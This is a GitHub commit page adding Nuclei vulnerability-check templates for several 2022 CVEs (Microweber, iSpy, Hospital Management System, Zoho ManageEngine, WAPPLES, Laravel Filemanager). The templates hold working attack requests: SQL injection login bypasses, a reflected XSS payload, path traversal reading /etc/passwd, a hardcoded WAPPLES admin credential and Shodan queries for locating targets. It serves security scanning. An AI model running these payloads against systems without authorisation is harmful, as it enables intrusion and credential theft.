Skip to content

Commit 57493a2

Browse files
hktalenthktalent
committed
up PoCs 2022-09-16
1 parent 42442db commit 57493a2

26 files changed

+892
-32
lines changed

‎config/nuclei-templates/cves/2022/CVE-2022-0678.yaml

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
id: CVE-2022-0678
2+
3+
info:
4+
name: Microweber < 1.2.11- Cross-Site Scripting
5+
author: tess
6+
severity: medium
7+
description: |
8+
Cross-site Scripting (XSS) - Reflected in Packagist microweber/microweber prior to 1.2.11. User can escape the meta tag because the user doesn't escape the double-quote in the $redirectUrl parameter when logging out.
9+
reference:
10+
- https://huntr.dev/bounties/d707137a-aace-44c5-b15c-1807035716c0/
11+
- https://twitter.com/CVEnew/status/1495001503249178624?s=20&t=sfABvm7oG39Fd6rG44vQWg
12+
- https://nvd.nist.gov/vuln/detail/CVE-2022-0678
13+
- https://huntr.dev/bounties/d707137a-aace-44c5-b15c-1807035716c0
14+
classification:
15+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
16+
cvss-score: 6.1
17+
cve-id: CVE-2022-0678
18+
cwe-id: CWE-79
19+
metadata:
20+
shodan-query: http.favicon.hash:780351152
21+
verified: "true"
22+
tags: huntr,cve,cve2022,xss,microweber
23+
24+
requests:
25+
- method: GET
26+
path:
27+
- '{{BaseURL}}/demo/api/logout?redirect_to=/asdf%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
28+
29+
matchers-condition: and
30+
matchers:
31+
- type: word
32+
part: body
33+
words:
34+
- '><script>alert(document.domain)</script>'
35+
- 'content="Microweber"'
36+
condition: and
37+
38+
- type: word
39+
part: header
40+
words:
41+
- text/html
42+
43+
- type: status
44+
status:
45+
- 404

‎config/nuclei-templates/cves/2022/CVE-2022-29775.yaml

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
id: CVE-2022-29775
2+
3+
info:
4+
name: iSpyConnect iSpy v7.2.2.0 - Improper Authentication
5+
author: arafatansari
6+
severity: critical
7+
description: |
8+
iSpyConnect iSpy v7.2.2.0 allows attackers to bypass authentication via a crafted URL.
9+
reference:
10+
- https://gist.github.com/securylight/79f673aa3a453c80c0e78f356a8f650b
11+
- https://github.com/securylight/CVES_write_ups/blob/main/iSpy_connect.pdf
12+
- https://nvd.nist.gov/vuln/detail/CVE-2022-29775
13+
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-29775
14+
classification:
15+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
16+
cvss-score: 9.8
17+
cve-id: CVE-2022-29775
18+
cwe-id: CWE-287
19+
metadata:
20+
shodan-query: http.html:"iSpy is running"
21+
verified: "true"
22+
tags: cve,cve2022,ispy,auth-bypass
23+
24+
requests:
25+
- method: GET
26+
path:
27+
- '{{BaseURL}}/logfile?d=crossdomain.xml'
28+
29+
matchers-condition: and
30+
matchers:
31+
- type: word
32+
part: body
33+
words:
34+
- 'Log Start'
35+
- 'Log File'
36+
- 'iSpy'
37+
condition: and
38+
39+
- type: word
40+
part: header
41+
words:
42+
- text/html
43+
44+
- type: status
45+
status:
46+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-32094.yaml

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
id: CVE-2022-32094
2+
3+
info:
4+
name: Hospital Management System v1.0 - SQL Injection
5+
author: arafatansari
6+
severity: critical
7+
description: |
8+
Hospital Management System v1.0 was discovered to contain a SQL injection vulnerability via the editid parameter in /HMS/doctor.php.
9+
reference:
10+
- https://github.com/Danie1233/Hospital-Management-System-v1.0-SQLi-3/
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-32094
12+
classification:
13+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
14+
cvss-score: 9.8
15+
cve-id: CVE-2022-32094
16+
cwe-id: CWE-89
17+
metadata:
18+
shodan-query: http.html:"Hospital Management System"
19+
verified: "true"
20+
tags: cve,cve2022,hms,cms,sqli,auth-bypass
21+
22+
requests:
23+
- raw:
24+
- |
25+
POST /hms/doctor/ HTTP/1.1
26+
Host: {{Hostname}}
27+
Content-Type: application/x-www-form-urlencoded
28+
29+
username=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit=
30+
31+
redirects: true
32+
max-redirects: 2
33+
cookie-reuse: true
34+
matchers-condition: and
35+
matchers:
36+
- type: word
37+
part: body
38+
words:
39+
- '<title>Doctor | Dashboard</title>'
40+
- 'View Appointment History'
41+
condition: and
42+
43+
- type: status
44+
status:
45+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-34590.yaml

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
id: CVE-2022-34590
2+
3+
info:
4+
name: Hospital Management System v1.0 - SQL Injection
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
Hospital Management System v1.0 was discovered to contain a SQL injection vulnerability via the editid parameter in /HMS/admin.php.
9+
reference:
10+
- https://github.com/Renrao/bug_report/blob/master/blob/main/vendors/itsourcecode.com/hospital-management-system/sql_injection.md
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-34590
12+
classification:
13+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
14+
cvss-score: 7.2
15+
cve-id: CVE-2022-34590
16+
cwe-id: CWE-89
17+
metadata:
18+
shodan-query: http.html:"Hospital Management System"
19+
verified: "true"
20+
tags: cve,cve2022,hms,cms,sqli
21+
22+
requests:
23+
- raw:
24+
- |
25+
POST /hms/admin/ HTTP/1.1
26+
Host: {{Hostname}}
27+
Content-Type: application/x-www-form-urlencoded
28+
29+
username=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit=
30+
31+
redirects: true
32+
max-redirects: 2
33+
cookie-reuse: true
34+
matchers-condition: and
35+
matchers:
36+
- type: word
37+
part: body
38+
words:
39+
- '<title>Admin | Dashboard</title>'
40+
- 'Manage Patients'
41+
- 'Manage Doctors'
42+
condition: and
43+
44+
- type: status
45+
status:
46+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-35405.yaml

Lines changed: 28 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -1,58 +1,54 @@
11
id: CVE-2022-35405
22

33
info:
4-
name: Zoho ManageEngine Password Manager Pro - Unauthenticated Remote Command Execution
5-
author: true13
4+
name: Zoho ManageEngine Password Manager Pro and PAM 360 - Unauthenticated Remote Command Execution
5+
author: viniciuspereiras,true13
66
severity: critical
77
description: |
8-
This is a de-serialization vulnerability that causes unauthenticated RCE in XML-RPC of Zoho Manage Engine Password Manager Pro.
8+
This is a de-serialization vulnerability that causes unauthenticated RCE in XML-RPC of Zoho Manage Engine Password Manager Pro, PAM360 and Access Manager Plus (Authenticated).
99
reference:
1010
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/zoho_password_manager_pro_xml_rpc_rce.rb
1111
- https://xz.aliyun.com/t/11578
1212
- https://nvd.nist.gov/vuln/detail/CVE-2022-35405
1313
- https://www.manageengine.com/products/passwordmanagerpro/advisory/cve-2022-35405.html
14+
- https://www.bigous.me/2022/09/06/CVE-2022-35405.html
1415
classification:
1516
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
1617
cvss-score: 9.8
1718
cve-id: CVE-2022-35405
1819
metadata:
19-
shodan-query: http.title:"ManageEngine Password"
20+
shodan-query: http.title:"ManageEngine"
2021
tags: cve,cve2022,rce,zoho,passwordmanager,deserialization,unauth,msf
2122

2223
requests:
2324
- raw:
2425
- |
2526
POST /xmlrpc HTTP/1.1
2627
Host: {{Hostname}}
27-
Content-Type: text/xml
28-
29-
<?xml version="1.0"?>
30-
<methodCall>
31-
<methodName>ProjectDiscovery</methodName>
32-
<params>
33-
<param>
34-
<value>
35-
<struct>
36-
<member>
37-
<name>test</name>
38-
<value>
39-
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable>
40-
</value>
41-
</member>
42-
</struct>
43-
</value>
44-
</param>
45-
</params>
46-
</methodCall>
47-
48-
matchers-condition: and
28+
29+
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>big0us</value></param></params></methodCall>
30+
31+
- |
32+
POST /xmlrpc HTTP/1.1
33+
Host: {{Host}}:7272
34+
35+
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>big0us</value></param></params></methodCall>
36+
- |
37+
POST /xmlrpc HTTP/1.1
38+
Host: {{Host}}:8282
39+
40+
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>big0us</value></param></params></methodCall>
41+
- |
42+
POST /xmlrpc HTTP/1.1
43+
Host: {{Host}}:9292
44+
45+
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>big0us</value></param></params></methodCall>
46+
4947
matchers:
5048
- type: word
5149
part: body
5250
words:
53-
- "Failed to read result object: null"
54-
55-
- type: word
56-
part: header
57-
words:
58-
- text/xml
51+
- "faultString"
52+
- "No such service [ProjectDiscovery]"
53+
- "methodResponse"
54+
condition: or

‎config/nuclei-templates/cves/2022/CVE-2022-35413.yaml

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
id: CVE-2022-35413
2+
3+
info:
4+
name: Wapples Web Application Firewall - Hardcoded credentials
5+
author: For3stCo1d
6+
severity: critical
7+
description: |
8+
WAPPLES through 6.0 has a hardcoded systemi account accessible via db/wp.no1 (as configured in the /opt/penta/wapples/script/wcc_auto_scaling.py file). A threat actor could use this account to access the system configuration and confidential information (such as SSL keys) via an HTTPS request to the /webapi/ URI on port 443 or 5001.
9+
reference:
10+
- https://medium.com/@_sadshade/wapples-web-application-firewall-multiple-vulnerabilities-35bdee52c8fb
11+
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-35413
12+
- https://azuremarketplace.microsoft.com/en/marketplace/apps/penta-security-systems-inc.wapples_sa_v6?tab=Overview
13+
metadata:
14+
shodan-query: http.title:"Intelligent WAPPLES"
15+
verified: "true"
16+
tags: cve,cve2022,wapples,firewall,default-login
17+
18+
requests:
19+
- raw:
20+
- |
21+
POST /webapi/auth HTTP/1.1
22+
Host: {{Hostname}}
23+
Content-Type: application/x-www-form-urlencoded
24+
25+
id={{username}}&password={{password}}
26+
27+
attack: pitchfork
28+
payloads:
29+
username:
30+
- systemi
31+
password:
32+
- db/wp.no1
33+
34+
matchers-condition: and
35+
matchers:
36+
- type: word
37+
part: body
38+
words:
39+
- '"res_msg":"Authentication Success."'
40+
- '"doc_id":"user_systemi"'
41+
condition: and
42+
43+
- type: word
44+
part: header
45+
words:
46+
- WP_SESSID=
47+
48+
- type: status
49+
status:
50+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-38637.yaml

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
id: CVE-2022-38637
2+
3+
info:
4+
name: Hospital Management System v1.0 - SQL Injection
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
Hospital Management System v1.0 was discovered to contain a SQL injection vulnerability via the editid parameter in /HMS/user-login.php.
9+
reference:
10+
- https://www.youtube.com/watch?v=m8nW0p69UHU
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-38637
12+
- https://owasp.org/www-community/attacks/SQL_Injection
13+
classification:
14+
cve-id: CVE-2022-38637
15+
metadata:
16+
shodan-query: http.html:"Hospital Management System"
17+
verified: "true"
18+
tags: cve,cve2022,hms,cms,sqli,auth-bypass
19+
20+
requests:
21+
- raw:
22+
- |
23+
POST /hms/user-login.php HTTP/1.1
24+
Host: {{Hostname}}
25+
Content-Type: application/x-www-form-urlencoded
26+
27+
username=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit=
28+
29+
redirects: true
30+
max-redirects: 2
31+
cookie-reuse: true
32+
matchers-condition: and
33+
matchers:
34+
- type: word
35+
part: body
36+
words:
37+
- '<title>User | Dashboard</title>'
38+
- 'Book My Appointment'
39+
condition: and
40+
41+
- type: status
42+
status:
43+
- 200

‎config/nuclei-templates/cves/2022/CVE-2022-40734.yaml

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
id: CVE-2022-40734
2+
3+
info:
4+
name: UniSharp aka Laravel Filemanager v2.5.1 - Directory Traversal
5+
author: arafatansari
6+
severity: high
7+
description: |
8+
UniSharp laravel-filemanager (aka Laravel Filemanager) through 2.5.1 allows download?working_dir=%2F.. directory traversal to read arbitrary files.
9+
reference:
10+
- https://github.com/UniSharp/laravel-filemanager/issues/1150
11+
- https://nvd.nist.gov/vuln/detail/CVE-2022-40734
12+
classification:
13+
cve-id: CVE-2022-40734
14+
metadata:
15+
verified: true
16+
shodan-query: http.html:"Laravel Filemanager"
17+
tags: cve,cve2022,laravel,unisharp,lfi,traversal
18+
19+
requests:
20+
- method: GET
21+
path:
22+
- "{{BaseURL}}/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd"
23+
- "{{BaseURL}}/laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd"
24+
25+
stop-at-first-match: true
26+
matchers:
27+
- type: regex
28+
regex:
29+
- "root:[x*]:0:0"

0 commit comments

Comments
 (0)